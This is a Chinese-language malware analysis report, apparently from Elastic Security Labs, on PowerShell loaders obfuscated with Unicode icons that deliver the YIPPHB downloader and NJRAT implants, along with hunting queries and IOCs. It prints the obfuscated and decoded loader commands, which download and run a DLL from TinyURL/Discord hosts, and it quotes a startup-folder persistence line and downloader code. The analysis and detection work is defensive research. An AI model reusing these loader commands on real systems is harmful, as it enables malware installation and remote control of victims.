主要要点
- Elastic 安全实验室发现了 12 个活动集群,它们使用类似的 TTP(通过 Unicode 图标串联 Base64 编码字符串)来加载 YIPPHB 下载器。
- YIPPHB 是一种不复杂但有效的下载器,用于交付 RAT 植入,其历史至少可以追溯到 2022 年 5 月。
- 初始访问尝试使用嵌入在 Powershell 中的 Unicode 图标来延迟自动化分析。
前言
在查看遥测数据时,Elastic 安全实验室在 Powershell 的执行过程中发现了异常参数。仔细检查后发现,在 Base64 编码的字符串中使用了 Unicode 图标。使用替换机制将图标替换为 ASCII 字符。
将图标替换为 ASCII 字符后,使用重复的收集 Base64 编码文件和反向 URL 的过程来执行下载器和功能齐全的恶意软件植入。下载器和恶意软件植入后来被确定为分别是 YIPPHB 和 NJRAT。
此研究侧重于以下方面
- 加载程序阶段
- 下载器阶段
- RAT 阶段
- 活动集群
- 网络基础设施
- 搜索查询
分析
对此入侵集的分析描述了一种我们认为旨在逃避 PowerShell 命令的自动化分析的混淆方法,我们将其描述为基本的和规范性的。
加载程序阶段
在分析 Elastic 遥测中的 Powershell 命令时,我们观察到嵌入到 Powershell 命令中的 Unicode 图标。使用 Unicode 来混淆 Powershell 命令不是我们观察到的技术。
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
虽然此技术不是过于复杂,因为它只是将图标替换为 ASCII 字符,但它具有创造性。除非完全执行 Powershell 命令或利用分析工作流来处理 Unicode 和替换函数,否则此技术可能会延迟对 Base64 编码字符串的自动化分析。
查看 Powershell 命令,我们能够识别出一个简单的过程,用 U 替换 Unicode 手表图标 (⌚⌚⌚)。为了说明发生了什么,我们可以使用 GCHQ 创建的数据分析工具:CyberChef。
通过加载“查找/替换”、“解码 Base64”和“解码文本 (UTF-16LE)”配方,我们可以解码 Powershell 字符串。
在解码后的字符串中,我们可以看到如何安装加载程序、后续下载器和植入。
$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
加载程序是从 https://tinyurl[.]com/2erph6cs
下载的。TinyURL 是一种流行的 URL 缩短服务,虽然它具有非常合法的用途,但它也可能被滥用来隐藏混入正常网络流量中的恶意 URL。
为了展开 TinyURL,我们可以使用 Unshorten.me 中的 JSON API 终端。
$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
"requested_url": "tinyurl[.]com/2erph6cs",
"success": true,
"resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt",
"usage_count": 3,
"remaining_calls": 8
}
从 Discord 内容交付网络下载 dllsica.txt 为我们提供了另一个 Base64 编码的字符串。与之前的 Powershell 字符串不同,dllsica.txt 中的字符串可以轻松解码,无需替换。
使用 cat、base64、xxd 和 head 命令行工具,我们可以看到它具有 4d5a 的十六进制值,并且文件头中有一个 MZ 魔数。这证实了我们正在分析 PE 文件。
- cat - 连接文件
- base64 -D - -D 开关解码 Base64 编码的文件
- xxd - 创建输入的十六进制转储
- head - 返回文件的前 10 行
$ cat dllsica.txt | base64 -D | xxd | head
00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000 MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000 ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000 ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f is program canno
...truncated...
接下来,我们取消混淆了二进制文件,将其写入磁盘,然后生成了 SHA-256 哈希。
- file - 验证文件类型
- shasum -a 256 - -a 256 开关使用 256 位哈希算法
$ cat dllsica.txt | base64 -D > dllsica.bin
$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2
现在已经收集了加载程序,它将在 NwgoxM.KPJaN 类中执行 PUlGKA 方法。从原始 Base64 解码字符串中
…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:
我们可能会发布有关此加载程序的未来研究,该加载程序通过将自身作为原生支持的 VBscript 复制到用户的启动文件夹中来保持访问权限。
FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + NameCopy + ".vbs");
下载器阶段
从上面的加载程序执行映像中,我们可以看到加载程序使用反向变量 (text = bdw6ufv4/moc[.]lruynit//:sptth) 使用 TinyURL 下载其他文件。使用命令行工具 rev,我们可以更正反向的 URL。
$ echo "bdw6ufv4/moc.lruynit//:sptth" | rev
https://tinyurl[.]com/4vfu6wd
我们可以使用 Unshorten.me JSON API 终端展开 TinyURL,以确定下载器的下载位置。
$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
"requested_url": "tinyurl[.]com/4vfu6wd",
"success": true,
"resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt",
"usage_count": 2,
"remaining_calls": 9
}
另一个编码文件是从 Discord 下载的:pesica.txt。截至撰写本文时,VirusTotal 报告此文件的检测次数为零。
从 dllsica.bin 中获取线索,我们可以看到 pesica.txt 使用 UTF-8 编码。为了进一步分析我们的文件,我们需要用 A 替换 ▒▒▒▒ 值,并对生成的字符串进行 Base64 解码。
…truncated…
string text = "bdw6ufv4/moc[.]lruynit//:sptth";
string text2 = new WebClient
{
Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace("▒▒▒▒", "A");
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
{
text4 + "\\InstallUtil.exe",
Convert.FromBase64String(text3)
});
…truncated…
我们可以使用 CyberChef 堆叠配方来执行这些功能。
解码 pesica.txt 后,我们计算哈希值 bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf。pesica.txt 的解码输出显示 YippHB 模块名称。
...truncated...
ToInt16
<Module>
YippHB
ResumeThread_API
...truncated...
此模块名称是 YIPPHB 的下载器名称的来源。YIPPHB 最初是由安全研究员 Paul Melson 发现的。Paul 于 2022 年 10 月在奥古斯塔 BSides 安全会议上公开披露了此下载器。
使用 Installutil.exe 命令行实用程序执行 YIPPHB 下载器以启动 RAT 阶段。
我们将下一阶段称为 RAT 阶段。我们在此阶段能够收集的所有二进制文件都是 RAT 植入(NJRAT、LIMERAT 和 ASYNCRAT);但是,此入侵集的模块化性质允许使用任何植入类型。
RAT 阶段
现在已经执行了 YIPPHB 下载器,它会拾取原始 Unicode 图标脚本的第二部分以安装 RAT 植入。
…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
RAT 是从 https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt
检索的,该路径从 txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth 反转。
查看文件 10oct8000.txt 文件,我们可以看到它是一个反向的 Base64 编码文件。
=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…
我们可以使用命令行工具 rev 和 base64 更正此文件并对其进行 Base64 解码,并将输出保存为 10oct8000.bin。
$ cat 10oct8000.txt | rev | base64 -D > 10oct8000.bin
10oct8000.bin 的 SHA256 哈希值为 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3。VirusTotal 上报告此文件是 LIMERAT 或 NJRAT 恶意软件系列的变种(取决于来源)。
与加载程序和 YIPPHB 下载器一样,我们将查看 RAT 的一些基本功能,但不会完全反转它。研究这些功能使我们能够进行先前的研究,该研究将此样本与 NJRAT 或 LIMERAT 相关联(1,2)。
RAT 通过连接回命令和控制服务器来启动其执行例程。在单独的线程中,它还会启动键盘记录器例程以收集尽可能多的信息。
对于与命令和控制服务器的连接,RAT 使用列为全局变量的配置信息。victimName 变量 (TllBTiBDQVQ=) 是一个 Base64 编码的字符串,解码为“NYAN CAT”。根据与 已知 NJRAT 代码库的代码相似性,此 C2 配置信息增加了我们对此与 NJRAT 相关的确信。
如果 RAT 连接到正在监听命令的命令和控制服务器,它会发送以下额外信息
- 受害者名称 ( vn )
- 硬件 ID
- 用户名
- OSFullName
- OSVersion Servicepack
- Program Files 文件夹是否以 X86 结尾
- 是否存在网络摄像头
- 窗口名称
- 对注册表的权限检查
如果成功连接到 C2 服务器,操作员可以通过一系列命令与植入程序进行交互。安全研究人员 Hido Cohen 和 CyberMasterV 对这些命令以及 RAT 的整体功能进行了详细解释,此处 和 此处
活动集群
我们能够通过遥测数据运行额外的搜索,以识别出多个活动集群。我们在下面提供了一个 EQL 查询
intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")
此查询允许我们识别使用 Unicode 字符和 replace 函数的 Powershell 活动。
查看这些结果,我们能够通过变量名称与 Unicode 图标的组合来聚类活动。在最初研究的示例中,一个集群将是变量 iUqm 和 ⌚⌚⌚Unicode 图标。
集群 ID | 变量 | Unicode 图标 + 数字 | 流行率百分比(四舍五入) |
---|---|---|---|
1 | ngfYq | ❞ (U+275E) | 1% |
2 | Codigo | ❤ (U+2764) | 1% |
3 | iUqm | ⌚ (U+231A) | 9% |
4 | iUqm | ⚔ (U+2694) | 6% |
5 | Codigo | ⁂ (U+2042) | 62% |
6 | iUqm | ✌ (U+270C) | 1% |
7 | Codigo | ⏏ (U+23CF) | 1% |
8 | Cg1O | ☈ (U+2608) | 5% |
9 | Codigo | ♔ (U+2654) | 10% |
10 | iUqm | ﭏ (U+FB4F) | 1% |
11 | Codigo | _*/}+/_= | 1% |
12 | iUqm | ☈ (U+2608) | 2% |
值得注意的是,集群 11 使用与其他集群相同的所有技术,但它没有使用 Unicode 图标进行替换,而是使用了一系列 ASCII 字符 ( _*/}+/_= )。入侵的操作方式相同,我们不清楚为什么此集群偏离使用 Unicode 图标。
收集和解析网络数据
为了扩展对此入侵集的分析,我们希望自动化从 process.command_line 字段中提取加载器和投放器编码的 URL,以及 RAT 植入程序使用的后续 C2。
加载器和投放器
如加载器和投放器阶段所述,Base64 编码的字符串需要替换 Unicode 图标,并进行反转和解码。完成该过程后,第一个 URL 即可用,而第二个 URL 需要再次反转。
为了避免执行 Powershell 命令本身,我们可以利用文本处理工具 awk。接下来是关于如何进行分析的分解,我们将提供一个包含所有内容的 shell 脚本以供参考。
首先,我们需要访问命令行上的数据,以便将其传递给 awk。我们发布了一个工具,名为 eql-query (以及另一个名为 lucene-query 的工具) 来实现此目的。
使用 eql-query,我们可以运行 EQL 查询来检索最近 180 天的结果,仅检索 process.command_line 字段。从命令行执行此操作的价值在于,它允许我们进一步解析数据并提取其他感兴趣的字符串。
eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")'
接下来,使用 jq 将原始字符串传递给 awk,使用 jq '._source.process.command_line' -r | awk。
如果正在迭代执行此操作,最好将 eql-query 的结果写入文件,然后在本地操作这些结果,直到您拥有所需的管道。
下一步是捕获 Powershell replace 命令中使用的字符串,以便我们可以自己执行该函数。使用 awk 执行此操作的最佳方法是使用正则表达式捕获它们。
这匹配了 replace 的第一个和第二个参数。第一个参数是 Unicode,并且可能不是 awk 模式的友好格式,因此我们需要先对其进行转义。完成替换后,我们将打印出“干净”的代码、要查找的字符串和替换文本。
function escape_string( str ) {
gsub(/[\\.^$(){}\[\]|*+?]/, "\\\\&", str)
return str
}
{
match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
str=escape_string(arr[1]);
rep=arr[2];
print gensub(str, rep, "g")
}
最后,我们可以使用 grep 提取 Base64 代码(使用另一个正则表达式)并显示混淆的 Powershell 脚本。
grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'
这自动化了我们在上面的加载器、投放器和 RAT 阶段中概述的手动转换过程。
$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
从此文本中解析 URL 应该是另一个简单的 awk 匹配,然后翻转第二个 URL,但是,Powershell 的默认编码是 UTF-16LE,而 awk 仅支持 UTF-8 或 ASCII 编码。一个名为iconv的工具可以执行必要的转换。
echo "${line}" | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,""); for(i=1;i<=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'
转换完成后,其余的解析就很简单了。我们的输出将包含 url1、url2,以及 Unicode 字符串及其替换的副本。URL 分别是每个代码示例的正向和反向 URL。
Unicode 图标 | 替换 | url1 | url2 |
---|---|---|---|
⌚⌚⌚ | U | https://tinyurl[.]com/2erph6cs | https://cdn.discordapp[.]com/...truncated.../10oct8000.txt |
⌚⌚⌚ | U | http://91.241.19[.]49/ARTS/dllf3txt | http://91.241.19[.]49/test/new/ZX1.txt |
⁂ | A | http://20.231.55[.]108/dll/06-07-2022.PDF | http://212.192.246[.]226/dsaffdffa.txt |
有关更多详细信息或尝试针对您自己的数据,请参阅将所有内容组合在一起的shell 脚本。
现在我们已经自动化了加载器和投放器的 URL 的收集和解析,我们可以继续研究 RAT 基础设施。
RAT
正如原始 Powershell 脚本中显而易见的,我们知道 RAT 使用额外的网络基础设施。为了枚举这一点,我们需要像投放器一样下拉 RAT,为前一步中的每个 url1 和 url2 输出获取一组唯一的 URL,遍历每个列表,并使用 curl 下载它们。
此过程需要与对手拥有或控制的基础设施进行交互。与对手的基础设施进行交互需要有纪律的准备,并非所有组织都准备好进行这种准备。如果您对法律考虑因素、防御性网络出口点、沙箱、情报收益/损失策略等没有充分的了解,则以下内容仅供参考。
由于加载器从不将下载的文件保存到磁盘,并且并非总是有文件名,因此为了跟踪样本,我们将使用一个简单的计数器。这给我们带来了这个简单的循环
ctr=1
for line in $(cat ../url-1.txt); do
curl -v -A "${USER_AGENT}" -o "file-${ctr}" -L --connect-timeout 10 "${line}" 2>>"log-${ctr}.txt"
ctr=$((ctr + 1))
done
我们使用 -v 来捕获请求和响应头,使用 -L 来跟踪重定向,使用 --connect-timeout 来在基础设施关闭时加快处理速度。最后,将 curl 输出保存到日志文件,同时将任何下载的文件保存为 file-X,其中 X 是计数器的值。
任何下载的 RAT 文件都是 Base64 编码的。我们可以使用 file 命令识别有效的 Base64 编码文件。Base64 编码文件将被识别为“ASCII 文本,具有很长的行(长度),没有行终止符”,其中 长度 是文件大小。对于匹配此语言的文件,我们将对其进行解码并将其保存为 .dll 扩展名。
for entry in $(file file-?? | awk -F": " '$2 ~ /^ASCII text.*very long lines/ {print $1}'); do
rev <"${entry}" | base64 -d >"${entry}.dll"
done
现在我们有了 RAT 二进制文件,我们可以对其进行一些典型的静态分析。如果您有VirusTotal 命令行工具并且可以进行 API 查询,则搜索已知文件是另一个对所有保存的 dll 文件进行简单循环的过程。
for entry in *.dll; do
hash=$(sha256sum "${entry}" | awk '{print $1}')
vt search "${hash}" >"${entry}.vt.yml"
done
查看输出,我们可以看到任何带有 0 字节的 yml 文件(vt 命令输出)表示没有匹配项。这些文件对于 VirusTotal 来说是未知的。在此输出中,我们可以看到 file-30.dll、file-31.dll 和 file-34.dll 对于 VirusTotal 来说是未知的。
$ ls -s *.dll{,.vt.yml}
32 file-28.dll
32 file-28.dll.vt.yml
32 file-30.dll
0 file-30.dll.vt.yml
32 file-31.dll
0 file-31.dll.vt.yml
468 file-34.dll
0 file-34.dll.vt.yml
48 file-35.dll
40 file-35.dll.vt.yml
80 file-38.dll
36 file-38.dll.vt.yml
我们要执行的最后分析是尝试从 DLL 中转储任何域名。对于许多可执行文件格式,strings 命令可以提供该信息。不幸的是,这些 DLL 中的大多数是 .Net 程序集,并且 strings 命令将无法从 .Net 程序集中提取字符串。file 命令可以再次帮助我们识别这些,如下例所示
$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
.Net 的好处是它很容易被反汇编,并且 Mono 项目提供了一个专门用于此目的的工具,ikdasm。这给了我们最终的循环来搜索域名或对 HTTP URL 的引用。
for item in *.dll; do
ikdasm "${item}" | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|("http|ptth")';
Done
有关更多详细信息,您可以参考此shell 脚本,该脚本将分析的第二阶段组合在一起。
钻石模型
Elastic Security 使用钻石模型来描述入侵的对手和受害者之间的高级关系。
观察到的对手战术和技术
Elastic 使用 MITRE ATT&CK 框架来记录高级持续性威胁针对企业网络使用的常见战术、技术和程序。
战术
战术代表技术或子技术的原因。这是对手的战术目标:执行操作的原因。
技术/子技术
技术和子技术表示对手如何通过执行操作来实现战术目标。
- 获取基础设施
- 部署能力:上传恶意软件
- 启动或登录自动启动执行:注册表运行键/启动文件夹
- 命令和脚本解释器:Visual Basic
- 命令和脚本解释器:PowerShell
- 系统二进制代理执行:InstallUtil
- 混淆的文件或信息
检测逻辑
行为规则
- 通过签名二进制代理连接到 WebService
- 可疑的 PowerShell 执行
- 具有不寻常文件扩展名的进程执行
- 写入启动文件夹的脚本文件
- 通过 Windows 脚本的可疑 PowerShell 执行
- 未签名二进制文件连接到动态 DNS 提供程序
狩猎查询
可以使用 KQL 或 EQL 查询来识别 PowerShell 中的 Unicode。
KQL 和 EQL 的事件都通过使用 Elastic Defend 集成的 Elastic Agent 提供。
KQL 查询
在 Kibana 中使用 Discover 应用程序,下面的查询将识别带有 Unicode 字符串的 PowerShell 的使用。虽然这识别了本研究中的所有事件,但它也识别了不属于 REF4526 入侵集一部分的其他事件。
前导和后导通配符 ( * ) 在大量事件中进行搜索可能会很耗时。
process.pe.original_file_name : "PowerShell.EXE" and process.command_line : (*Unicode.GetString* and *replace*)
EQL 查询
在 Kibana 中安全解决方案的“时间线”部分下的“关联”选项卡中使用此 链接,此查询将识别带有 Unicode 字符串和 replace 函数的 PowerShell 的使用。这识别了所有观察到的 REF4526 事件。
intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")
参考资料
以下是在上述研究中引用的内容
- https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara
- https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat
- https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat
- https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html
- https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
- https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs
- https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a
- https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
可观察对象
所有可观察对象也以组合的 zip 包中 ECS 和 STIX 格式提供下载。
以下是本研究中讨论的可观察对象。
可观察对象 | 类型 | 参考 | 备注 |
---|---|---|---|
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2 | SHA-256 | dllsica.bin | 初始加载程序 |
bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf | SHA-256 | pesica.bin | YIPPHB 下载程序 |
1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3 | SHA-256 | 10oct8000 | NJRAT 植入 |
https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt | url | 加载程序阶段 | NJRAT 下载位置 |
https://tinyurl[.]com/2erph6cs | url | 加载程序阶段 | REF4526 加载程序下载位置 |
https://tinyurl[.]com/4vfu6wd | url | 下载器阶段 | YIPPHB 下载位置 |
wins10ok.duckdns[.]org | 域名 | NJRAT C2 | 不适用 |